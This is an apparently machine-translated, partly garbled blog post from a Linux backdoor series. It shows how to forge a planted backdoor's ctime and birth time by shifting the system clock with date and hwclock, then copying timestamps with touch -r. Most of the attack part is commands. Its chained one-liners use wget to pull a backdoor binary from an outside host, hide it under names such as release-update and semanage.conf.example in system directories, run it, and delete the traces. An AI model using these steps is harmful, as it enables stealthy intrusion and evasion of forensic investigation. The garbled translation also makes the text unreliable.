существовать alias черный ход | Linux черный В ход серии статей мы хотим сделать черный ход Более совершенный,Исправлять Понятночерный ход Документы пора, пора, но ctime Не получилось Исправить, сегодня мы закончим этот кусок и пусть черный ход более совершенен
Последняя версия Linux Есть еще один атрибут, Время. создания файла,существовать Centos Stream позвонил created time,существовать Убунту Birth time
При изменении статуса файла изменится ctime. Например, изменится следующая информация:
То естьда Скажем, мы делаем это вручную Исправлять atime или mtime когда, ctime Оно автоматически обновится до текущего времени. ctime меняется с изменениями
Ввиду особенностей ctime, я думаю, этот вопрос можно рассмотреть с трёх сторон
буквально,Мы можем найти приложения, которые поддерживают временные метки файлов Linux.,Затем Исправьте по самому приложению,Это звучит как очень сложная и опасная операция.
Простой,Просто прекратите работу системы,Перейти к целевому Documentыctime через нижний уровень,Это должно быть возможно,Пока у нас достаточно знаний,Но да не подходит для использования в сценарии APT.
Время, используемое для изменения системного времени, — это текущее системное время. Другими словами, если системное время вручную установлено на 1 января 2008 г., а затем изменяется статус файла, последнее оставшееся время — 1 января 2008 г. Да.
Однако изменение системного времени – дело нетривиальное. Оно может вызвать ошибки в работе некоторых программ, поэтому необходимы эффективные методы восстановления.
Обычно используется всеми stat
чтобы просмотреть файл с полной отметкой времени, Исправлять stat команда для изменения отображаемого ctime Не сложная вещь
Однако файл можно получить ctime Приложений более чем stat Один плюс получение его через системные вызовы. Таким образом, вы можете просмотреть stat Взгляните на исходный код stat Как принимаются и управляются заявки ctime из, для которого метод из систематически называется Исправлять, также следует реализовать Исправить файл ctime из
Linux Система времени разделена на системные часы и аппаратные часы. Системные часы хранятся в Linux. В ядре аппаратные часы хранятся на материнской плате.
Это видно из названия двух часов.,Аппаратные часы определенно более долговечны, чем системные часы.,В конце концов, системные часы пропадают, когда система выключается.
Аппаратные часы питаются от батареи BIOS.,Держи это какое-то время,Аппаратное обеспечение все основано на этом времени как на основной основе,Каждый раз, когда вы включаете компьютер, в качестве системного времени будут использоваться аппаратные часы и время компьютера.
Чтобы обеспечить точность времени,В операционной системе обычно есть служба синхронизации времени.,То есть даNTP сервис,чтобы сделать системное время более точным
Для получения более подробной информации посетите веб-сайт Niao Ge.
http://cn.linux.vbird.org/linux_server/0440ntp.php
Просмотр системных часов
date
Посмотреть аппаратные часы
sudo hwclock --show
Метод изменения системного времени наиболее подходит для сценариев APT, поэтому на этот раз этот метод представлен.
Системное время должно восстанавливаться мгновенно. Изменение системного времени в течение более длительного периода времени может привести к сбоям в работе определенных приложений.
Можно использовать date
команда или timedatectl
осуществить, нужно root-права, здесь с date Например
date -s "строка времени"
Установите системное время на 9 августа 2018 г. 10:11:12.
sudo date -s "20180809 10:11:12"
Это изменит системное время на Исправлять, но да, потому что Ubuntu Операционная система Сервера по умолчанию сохраняет службу синхронизации времени. Она вернется к нормальному времени в следующую секунду после завершения (даже если сеть отключена).
Это настолько быстро, что трудно сказать, успешен «Исправлять» или нет.,Это также характерно для да,избавил нас от многих неприятностей,Поговорим об этом позже,Centos Stream По умолчанию эта функция недоступна...
ctime time Исправлять можно использовать тремя способами.
touch -at/-mt
Такая встреча будет вместе Исправлять atimeили mtimetouch -r oldfile newfile
Это решение будет новым файлом изatime и mtime Оба установлены на è oldfile То же самое, в то же время ctime Только текущее системное времяchmod
или chown
Например, из, Исправить атрибуты файла. chmod +x newfile.sh
существуют В предыдущей главе мы использовали из, чтобы да touch -r
Этот способ замаскировать черный ход - обычный файл в системе. На этот раз мы тоже выбираем да. touch -r
выполнять
С помощью приведенной выше команды,Мы уже можем Документы ctime Некоторые файлы в системе притворяются, что находятся в прежнем состоянии, и теперь перед нами стоит проблема, как восстановить системное время. Вы можете рассмотреть это со следующих точек зрения:
Если у вас есть сервисная программа «Существующее NTP» и она сохранена, вы можете подключиться к серверу Можно использовать ntp Служба синхронизируется немедленно. Две наиболее часто используемые программы: ntpdate. и chrony
ntpdate Система не имеет собственной программы. chronyc да Centos Stream Принеси свое, chronyc После выполнения немедленной синхронизации пройдет некоторое время, прежде чем системное время будет полностью правильно синхронизировано.
sudo ntpdate time.ntp.org
sudo chronyc makestep
Записывать Исправлятьвпередиз date , Исправлять ctime Немедленно поменяйте его обратно
NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"
ссылка https://sysin.org/blog/how-to-change-file-date/#2-Linux%EF%BC%88%E4%BF%AE%E6%94%B9%E6%97%B6%E9 %97%B4%EF%BC%8C%E8%AE%BF%E9%97%AE%E6%97%B6%E9%97%B4%EF%BC%89
Эта операция может привести к тому, что время операционной системы будет немного отличаться от исходного времени, но оно не должно сильно отличаться.
sudo hwclock --hctosys
Эта команда по смыслу использует значение аппаратного времени в качестве системного времени.
Чтобы предотвратить большую разницу между исходным системным временем и аппаратным временем, вы можете проверить, есть ли большая разница между системным временем и аппаратным временем перед системным временем.
sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"
Как видите разница не большая. Можно рассмотреть возможность восстановления системного времени по аппаратному времени.
sudo hwclock --systohc
Исправлятьctime
balabal
Восстановить системное время из аппаратного времени
sudo hwclock --hctosys
Необходимо обратить внимание на издательство, такая операция полностью потеряет исходное аппаратное время.
Ubuntu Server 22.10 и Centos Stream 9 имеют такую концепцию времени создания файла.
Время создания файл в данный момент touch Команда не поддерживает прямой Исправлять,Других инструментов, чтобы это изменить, я не нашел.,Так же нужно пройти Исправлять системное время Выполнить
Ubuntu Server Даже при отключении от Интернета date -s
Заходите в Исправить системное время, системное время сразу восстановится.
Отдать alias черный ход В той статье изчерный ход Например
По умолчанию,/etc/update-manager/
В каталоге есть такой release-upgrades
файл, ставим черный ход, которого зовут release-update
,之后再将文件время Исправлятьдляи release-upgrades
Похожее время
Сначала проверьте это release-upgrades
Документывремя戳信息
stat /etc/update-manager/release-upgrades
Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000
Birth: 2022-11-02 06:36:59.067636265 +0000
atime и mtime Может использоваться напрямую touch -r копировать, change и Birth время (время создания) достигается путем настройки системного времени
Используйте whoami здесь Программа представляет собой вредоносную программу, которая четко различает файлы и каталоги, черный имя программы ход whoami.elf
Удаленная загрузка программы черный ход
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update
Добавьте права исполняемого файла программе черный ход (сначала установите разрешения в файле конфигурации такие же, как у релиз-обновлений)
chmod +x /tmp/release-update
Перезаписать аппаратное время системным временем
sudo hwclock --systohc
Исправлять системное время
sudo date -s "20221102 06:36:59"
copy одна порциячерный ход файл навстречу Времени создания файлаподражать
sudo cp /tmp/release-update /etc/update-manager/
Если да нужно выполнить изчерный ход, теперь существование выполняется и помещается в фоновый режим, если нравится alias Этот профильчерный ход не требует этой главы
/etc/update-manager/release-update &
touch моделирование release-upgrades Документы atime и mtime
sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update
Восстановить системное время из аппаратного времени
sudo hwclock --hctosys
Удалить Скачать изчерный ход программы
rm /tmp/release-update
Сказал раньше,Эти операции должны быть завершены мгновенно.,Поэтому мы объединяем их
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update
экспериментуспех
PS:Ubuntu Server На самом деле, нет необходимости в первом 3 шаги 8 шаг, потому что операционная система автоматически синхронизирует время
Давайте удалим 3 шаги 8 Попробуйте шаг за шагом
эксперимент依旧успех
Centos Мы все еще используем здесь Ubuntu Server серединаиз 9 шаги, но Centos Stream 9 Никто /etc/update-manager/
эта папка,мы выбираем /etc/selinux/
этот каталог
вот один semanage.conf
мы назвали вредоносный файл конфигурации semanage.conf.example
В связи с моделированием профиляизда,на нашем сервереиз Вредоносная конфигурация Документы名称для whoami.conf
Нам нужно вложить время в Исправлять. 2022-11-02 00:37:06
Имена каталогов и файлов также должны совпадать.
в то же время,Поскольку файл конфигурации,我们将Вредоносная конфигурация Документы Разрешенияи Право собственности также установлено.и То же, что и обычные файлы в том же каталоге.(Разрешенияи Аспекты принадлежности должны соответствоватьчерный ход Реальная ситуация, не надо Исправлять, нет разрешения на чтение)
sudo chmod --reference=обычный файл конфигурации Вредоносные файлы конфигурации
sudo chown --reference=обычный файл конфигурации Вредоносные файлы конфигурации
Этот шаг заложен в существование 5[6] шаг за шагом 7 между шагами
Общая команда такая (Будьте внимательны при написании команд, не допускайте ошибок)
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example
экспериментуспех!
Centos 8 официально прекратил поддержку в конце 21. На какие системы ваша компания заменила Centos?